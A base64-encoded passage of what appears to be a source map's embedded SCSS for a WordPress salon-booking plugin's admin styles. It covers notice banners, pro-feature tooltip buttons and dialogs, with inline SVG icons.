7XG5cdFx0XHRkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0fVxuXHRcdC5zbG4tbm90aWNlLS1wbHVnaW5fdXBkYXRlX19hY3Rpb24ge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogIzIxNzFCMTtcblx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdGNvbG9yOiB2YXIoLS1hY2NlbnQtLXllbGxvdyk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zbG4tbm90aWNlLS1zdWJzY3JpcHRpb24tY2FuY2VsbGVkLFxuXHQuc2xuLW5vdGljZS0tc3Vic2NyaXB0aW9uLWV4cGlyZWQge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLS1yZWQpO1xuXHRcdC8qIEZJWCAwOTIwMjMgXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tcmVkKTtcblx0XHRcdGNvbnRlbnQ6IFwiXFxmMTE5XCI7XG5cdFx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tcmVkKTtcblx0XHR9XG5cdFx0Ki9cblx0XHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uOjpiZWZvcmUge1xuXHRcdFx0Y29sb3I6IHZhcigtLWJnLS1yZWQpO1xuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tc3Vic2NyaXB0aW9uLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctLWdyZWVuKTtcblx0XHQvKiBGSVggMDkyMDIzIFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbG9yOiB2YXIoLS1hY2NlbnQtLWdyZWVuKTtcblx0XHRcdGNvbnRlbnQ6IFwiXFxmMTE4XCI7XG5cdFx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tZ3JlZW4pO1xuXHRcdH1cblx0XHQqL1xuXHRcdC5zbG4tbm90aWNlLS1wbHVnaW5fdXBkYXRlX19hY3Rpb246OmJlZm9yZSB7XG5cdFx0XHRjb2xvcjogdmFyKC0tYmctLWdyZWVuKTtcblx0XHR9XG5cdH1cbn1cbiIsIkB1c2UgJ3Nhc3M6Y29sb3InO1xuQHVzZSAnc2FzczptZXRhJztcbkB1c2UgJy4uL3NldHRpbmdzLW1peGlucyc7XG5AdXNlICcuLi9hZG1pbl9jb25maWcnO1xuQHVzZSAnLi4vdHlwby1hZG1pbic7XG5AdXNlICcuLi9jb2xvcnMnO1xuQHVzZSAnLi4vY29sb3JzLW51JztcbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlcixcbi5zbG4tdG9vbHRpcC1hY3Rpb24td3JhcHBlci0tcHJvLWZlYXR1cmUge1xuICAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXAtd3JhcHBlciB7XG4gICAgLnNsbi1wcm9mZWF0dXJlX19jdGEuc2xuLXByb2ZlYXR1cmUtLW1vZGFsLWZvb3Rlcl9fYWN0aW9uc1xuICAgICAgLnNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvbiB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIH1cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tcHJvZmVhdHVyZS0tZGlzYWJsZWQge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAuc2xuLWJveC10aXRsZSB7XG4gICAgICBwYWRkaW5nLXRvcDogMC40NXJlbTtcbiAgICB9XG4gICAgLnNsbi1wcm9mZWF0dXJlX19pbnB1dCB7XG4gICAgICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xuICAgICAgb3BhY2l0eTogMC43NTtcbiAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIH1cbiAgICAuc2xuLWNoZWNrYm94IGlucHV0ICsgbGFiZWwge1xuICAgICAgcGFkZGluZy1yaWdodDogM3JlbTtcbiAgICB9XG4gICAgLnNsbi1kaXNhYmxlZCB7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgIH1cbiAgfVxuXG4gIC5zbG4tcHJvZmVhdHVyZV9fY3RhIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAwO1xuICAgIHJpZ2h0OiAxcmVtO1xuICAgIGJvdHRvbTogMDtcbiAgICBsZWZ0OiAxcmVtO1xuICAgIC8vei1pbmRleDogMTtcbiAgICAmLnNsbi1wcm9mZWF0dXJlLS1jaGVja2JveC0tc2xpbSB7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgZ3JpZC10ZW1wbGF0ZTogMnJlbSAvIDFmcjtcbiAgICAgIG1hcmdpbi1ib3R0b206IDIuNXJlbTtcbiAgICAgIC5zbG4tcHJvZmVhdHVyZV9fb3Blbi1idXR0b24ge1xuICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgZ3JpZC1yb3c6IDI7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA1cmVtO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLWJveCB7XG4gICAgICAuc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uIHtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgcGFkZGluZzogMXJlbSA2cmVtIDFyZW0gMnJlbTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjYWxjKDEwMCUgLSAycmVtKSBjZW50ZXI7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICYuc2xuLXByb2ZlYXR1cmUtLWNoZWNrYm94IHtcbiAgICAgICAgYm90dG9tOiAyLjVyZW07XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLXN3aXRjaC0tYmFyZSB7XG4gICAgICByaWdodDogMDtcbiAgICAgIGxlZnQ6IDA7XG4gICAgICArIC5zbG4tc3dpdGNoLnNsbi1zd2l0Y2gtLWJhcmUgaW5wdXQgKyBsYWJlbCBzcGFuLFxuICAgICAgKyAuc2xuLXN3aXRjaC5zbG4tc3dpdGNoLS1iYXJlLnNsbi1zd2l0Y2gtLWludmVydGVkIGlucHV0ICsgbGFiZWwgc3BhbixcbiAgICAgICsgLnNsbi1zd2l0Y2guc2xuLXN3aXRjaC0tYmFyZSBpbnB1dCArIGxhYmVsIHNwYW4sXG4gICAgICArIC5zbG4tc3dpdGNoLnNsbi1zd2l0Y2gtLWJhcmUuc2xuLXN3aXRjaC0taW52ZXJ0ZWQgaW5wdXQgKyBsYWJlbCBzcGFuIHtcbiAgICAgICAgcGFkZGluZy1yaWdodDogNHJlbTtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tcHJvZmVhdHVyZS0tbW9kYWwtZm9vdGVyX19hY3Rpb25zIHtcbiAgICAgICYuc2xuLXByb2ZlYXR1cmUtLWJ1dHRvbi0tYmFyZSB7XG4gICAgICAgIHRvcDogMDtcbiAgICAgICAgcmlnaHQ6IC0wLjVyZW07XG4gICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgbGVmdDogLTAuNXJlbTtcbiAgICAgIH1cbiAgICAgIC5zbG4tcHJvZmVhdHVyZV9fb3Blbi1idXR0b24ge1xuICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgIG1pbi1oZWlnaHQ6IDNyZW07XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodGVyKDAuNSk7XG4gICAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4zKTtcbiAgICAgICAgfVxuICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0zMCUpIHNjYWxlKDEpIHRyYW5zbGF0ZVgoLTUwJSk7XG4gICAgICAgICAgcmlnaHQ6IGF1dG87XG4gICAgICAgICAgbGVmdDogNTAlO1xuICAgICAgICAgIG1pbi13aWR0aDogMTRyZW07XG4gICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2FsYygxMDAlIC0gMXJlbSkgdG9wO1xuICAgICAgICAgIC8vZm9udC1zaXplOiAwO1xuICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICB9XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAvLyAmOjpiZWZvcmUge1xuICAgICAgICAgICAgLy8gICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgICAgIC8vIH1cbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMHJlbTtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApIHNjYWxlKDEuMSkgdHJhbnNsYXRlWCgtNTAlKTtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2FsYygxMDAlIC0gMXJlbSkgY2VudGVyO1xuICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhbGw7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLXNsbi1ib29raW5nX19oZWFkZXIge1xuICAgICAgdG9wOiAtMC43NXJlbTtcbiAgICAgIHJpZ2h0OiAwLjI1cmVtO1xuICAgICAgYm90dG9tOiAtMC43NXJlbTtcbiAgICAgIGxlZnQ6IDAuMjVyZW07XG4gICAgICAuc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uIHtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICBtaW4taGVpZ2h0OiAzcmVtO1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHRlcigwLjUpO1xuICAgICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuMyk7XG4gICAgICAgIH1cbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMzAlKSBzY2FsZSgxKSB0cmFuc2xhdGVYKC01MCUpO1xuICAgICAgICAgIHJpZ2h0OiBhdXRvO1xuICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICBtaW4td2lkdGg6IDE0cmVtO1xuICAgICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNhbGMoMTAwJSAtIDFyZW0pIHRvcDtcbiAgICAgICAgICAvL2ZvbnQtc2l6ZTogMDtcbiAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgfVxuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgLy9ib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMHJlbTtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApIHNjYWxlKDEuMSkgdHJhbnNsYXRlWCgtNTAlKTtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2FsYygxMDAlIC0gMXJlbSkgY2VudGVyO1xuICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhbGw7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLWJ1dHRvbi0tYmFyZSB7XG4gICAgICB0b3A6IC0wLjVyZW07XG4gICAgICByaWdodDogLTAuNXJlbTtcbiAgICAgIGJvdHRvbTogLTAuNXJlbTtcbiAgICAgIGxlZnQ6IC0wLjVyZW07XG4gICAgICArIC5zbG4tYnRuLS1udS0tbG93aGVtcGgge1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgfVxuICAgICAgLnNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvbiB7XG4gICAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvbiB7XG4gICAgICAvLyBkaXNwbGF5OiBmbGV4O1xuICAgICAgLy8gYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIC8vIGp1c3RpZnktY29udGVudDogZW5kO1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBoZWlnaHQ6IGF1dG87XG4gICAgICBtaW4taGVpZ2h0OiAzLjMzcmVtO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDApO1xuICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgbGluZS1oZWlnaHQ6IDEuMjtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICB6LWluZGV4OiA5OTk5OTk7XG4gICAgICBzcGFuIHtcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICBib3R0b206IGNhbGMoMTAwJSArIDAuNXJlbSk7XG4gICAgICB9XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBjb250ZW50OiAnICc7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHRvcDogLTAuMnJlbTtcbiAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgIGJvdHRvbTogLTAuMnJlbTtcbiAgICAgICAgbGVmdDogMDtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMC4zNzVyZW07XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbGlnaHRlc3QoMC4yNSk7XG4gICAgICAgIGJvcmRlcjogMnB4IHNvbGlkO1xuICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMSk7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICAgICAgei1pbmRleDogMTtcbiAgICAgIH1cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgY29udGVudDogJyAnO1xuICAgICAgICBjb250ZW50OiBhdHRyKGRhdGEtdGlwdGV4dCk7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG4gICAgICAgIHotaW5kZXg6IDI7XG5cbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICB0b3A6IC0wLjVyZW07XG4gICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICBib3R0b206IC0wLjVyZW07XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIHBhZGRpbmc6IDAuNXJlbSAzcmVtIDAuNXJlbSAxcmVtO1xuICAgICAgICBib3JkZXItcmFkaXVzOiAwLjM3NXJlbTtcbiAgICAgICAgLy8gb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICAgICAgLy8gd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAgY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBpbnRlcnBvbGF0ZS1zaXplOiBhbGxvdy1rZXl3b3JkcztcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcblxuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgYmFja2dyb3VuZC1zaXplOiAyLjI1cmVtO1xuICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjYWxjKDEwMCUgLSAxcmVtKSBjZW50ZXI7XG4gICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzM1JyBoZWlnaHQ9JzM1JyB2aWV3Qm94PScwIDAgMzUgMzUnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NjaXJjbGUgY3g9JzE3LjUnIGN5PScxNy41JyByPScxNy41JyBmaWxsPSclMjMxRjdEREInLyUzRSUzQ2cgY2xpcC1wYXRoPSd1cmwoJTIzY2xpcDBfMF8xKSclM0UlM0NwYXRoIGZpbGwtcnVsZT0nZXZlbm9kZCcgY2xpcC1ydWxlPSdldmVub2RkJyBkPSdNMTguNDMzIDEwLjE5MzVDMTguMzEwNyAxMC4wMTg4IDE4LjExMDkgOS45MTQ3OSAxNy44OTc3IDkuOTE0NzlDMTcuNjg0NSA5LjkxNDc5IDE3LjQ4NDcgMTAuMDE4OCAxNy4zNjI0IDEwLjE5MzVMMTMuMjM1MiAxNi4wODk2TDkuODY1NDQgMTIuNzE5OEM5LjY3ODU2IDEyLjUzMjkgOS4zOTc1MiAxMi40NzcgOS4xNTMzNiAxMi41NzgyQzguOTA5MiAxMi42NzkzIDguNzUgMTIuOTE3NiA4Ljc1IDEzLjE4MThWMjEuNjc2MkM4Ljc1IDIyLjM2OTMgOS4wMjUzNiAyMy4wMzQxIDkuNTE1NTIgMjMuNTI0M0MxMC4wMDU3IDI0LjAxNDQgMTAuNjcwNSAyNC4yODk4IDExLjM2MzYgMjQuMjg5OEgyNC40MzE4QzI1LjEyNSAyNC4yODk4IDI1Ljc4OTcgMjQuMDE0NCAyNi4yNzk5IDIzLjUyNDNDMjYuNzcwMSAyMy4wMzQxIDI3LjA0NTUgMjIuMzY5MyAyNy4wNDU1IDIxLjY3NjJWMTMuMTgxOEMyNy4wNDU1IDEyLjkxNzYgMjYuODg2MyAxMi42NzkzIDI2LjY0MiAxMi41NzgyQzI2LjM5NzkgMTIuNDc3IDI2LjExNjggMTIuNTMyOSAyNS45MyAxMi43MTk4TDIyLjU2MDMgMTYuMDg5NkwxOC40MzMgMTAuMTkzNVonIGZpbGw9JyUyM0ZGQzExOCcvJTNFJTNDL2clM0UlM0NkZWZzJTNFJTNDY2xpcFBhdGggaWQ9J2NsaXAwXzBfMSclM0UlM0NyZWN0IHdpZHRoPScxOC4yOTU1JyBoZWlnaHQ9JzE4LjI5NTUnIGZpbGw9J3doaXRlJyB0cmFuc2Zvcm09J3RyYW5zbGF0ZSg4Ljc1IDcuOTU0NTkpJy8lM0UlM0MvY2xpcFBhdGglM0UlM0MvZGVmcyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgICB9XG4gICAgICAmOmZvY3VzIHtcbiAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgY29sb3I6IGluaGVyaXQ7XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgLy9ib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgLy9ib3R0b206IDEwMCU7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLXNpemU6IDIuNXJlbTtcbiAgICAgICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQtLWJsdWUtLWRhcmsoMSk7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDEpO1xuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAuc2xuLXByb2ZlYXR1cmVfX2RpYWxvZyB7XG4gICAgICBtYXgtd2lkdGg6IDIzcmVtO1xuICAgICAgcGFkZGluZzogMS41cmVtO1xuICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgYm9yZGVyLXJhZGl1czogMC4zNzVyZW07XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXIoMSk7XG4gICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgb3ZlcmZsb3c6IHZpc2libGU7XG4gICAgICB0cmFuc2l0aW9uOiBhbGwgMTI1MG1zO1xuICAgICAgLy9hbmltYXRpb246IGJvdW5jZSA1MDBtcyAxIGVhc2UtaW47XG4gICAgICBvcGFjaXR5OiAwO1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDNyZW0pO1xuICAgICAgaW50ZXJwb2xhdGUtc2l6ZTogYWxsb3cta2V5d29yZHM7XG4gICAgICAmLm9wZW4ge1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG4gICAgICAgICY6OmJhY2tkcm9wIHtcbiAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcF9fdGl0bGUge1xuICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcF9fYnVsbGV0IHtcbiAgICAgICAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcF9fY3RhIHtcbiAgICAgICAgICBtYXJnaW46IDIuNzVyZW0gMS4yNXJlbSAwIDEuMjVyZW07XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICY6OmJhY2tkcm9wIHtcbiAgICAgICAgYmFja2Ryb3AtZmlsdGVyOiBibHVyKDNweCk7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygwLjc1KTtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDMwMG1zO1xuICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgfVxuICAgICAgLnNsbi1wcm9mZWF0dXJlX19kaWFsb2ctZmFrZWRyb3Age1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHRvcDogMDtcbiAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgbGVmdDogMDtcbiAgICAgICAgei1pbmRleDogLTE7XG4gICAgICB9XG4gICAgICAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXBfX3RpdGxlIHtcbiAgICAgICAgbWFyZ2luOiAwIDAgMS42ZW0gMDtcbiAgICAgICAgZm9udC1zaXplOiAxLjVyZW07XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQtLWRhcmsoMSk7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCA4MDBtcztcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDFyZW0pO1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGNvbnRlbnQ6ICcgJztcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICB3aWR0aDogMzFweDtcbiAgICAgICAgICBoZWlnaHQ6IDQycHg7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgZmxvYXQ6IHJpZ2h0O1xuICAgICAgICAgIG1hcmdpbjogMCAwIDFyZW0gMC41cmVtO1xuICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzMyJyBoZWlnaHQ9JzQyJyB2aWV3Qm94PScwIDAgMzIgNDInIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J000Ljc1IDE0LjMzMzNWMTIuNDI4NkM0Ljc1IDYuMDk3NTEgOS43Njc4NiAxIDE2IDFDMTkuODgyMSAxIDIzLjI5MzEgMi45Nzc5OSAyNS4zMTM1IDZNNC43NSAxNC4zMzMzQzIuNjg3NSAxNC4zMzMzIDEgMTYuMDQ3NiAxIDE4LjE0MjlWMzcuMTkwNUMxIDM5LjI4NTcgMi42ODc1IDQxIDQuNzUgNDFIMjcuMjVDMjkuMzEyNSA0MSAzMSAzOS4yODU3IDMxIDM3LjE5MDVWMTguMTQyOUMzMSAxNi4wNDc2IDI5LjMxMjUgMTQuMzMzMyAyNy4yNSAxNC4zMzMzSDQuNzVaTTE2IDIzLjg1NzFDMTguMDYyNSAyMy44NTcxIDE5Ljc1IDI1LjU3MTQgMTkuNzUgMjcuNjY2N0MxOS43NSAyOS43NjE5IDE4LjA2MjUgMzEuNDc2MiAxNiAzMS40NzYyQzEzLjkzNzUgMzEuNDc2MiAxMi4yNSAyOS43NjE5IDEyLjI1IDI3LjY2NjdDMTIuMjUgMjUuNTcxNCAxMy45Mzc1IDIzLjg1NzEgMTYgMjMuODU3MVonIHN0cm9rZT0nJTIzNDE4MEJGJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwX19idWxsZXQge1xuICAgICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgICBncmlkLXRlbXBsYXRlOiBhdXRvIC8gMTlweCBhdXRvO1xuICAgICAgICBnYXA6IDAuNWVtO1xuICAgICAgICBtYXJnaW46IDAgMCAxLjRlbSAwO1xuICAgICAgICBmb250LXNpemU6IDEuMTI1cmVtO1xuICAgICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0LS1kYXJrZXN0KDEpO1xuICAgICAgICBpbnRlcnBvbGF0ZS1zaXplOiBhbGxvdy1rZXl3b3JkcztcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDgwMG1zO1xuICAgICAgICBsZXR0ZXItc3BhY2luZzogMXB4O1xuICAgICAgICBsaW5lLWhlaWdodDogMTtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGNvbnRlbnQ6ICcgJztcbiAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICA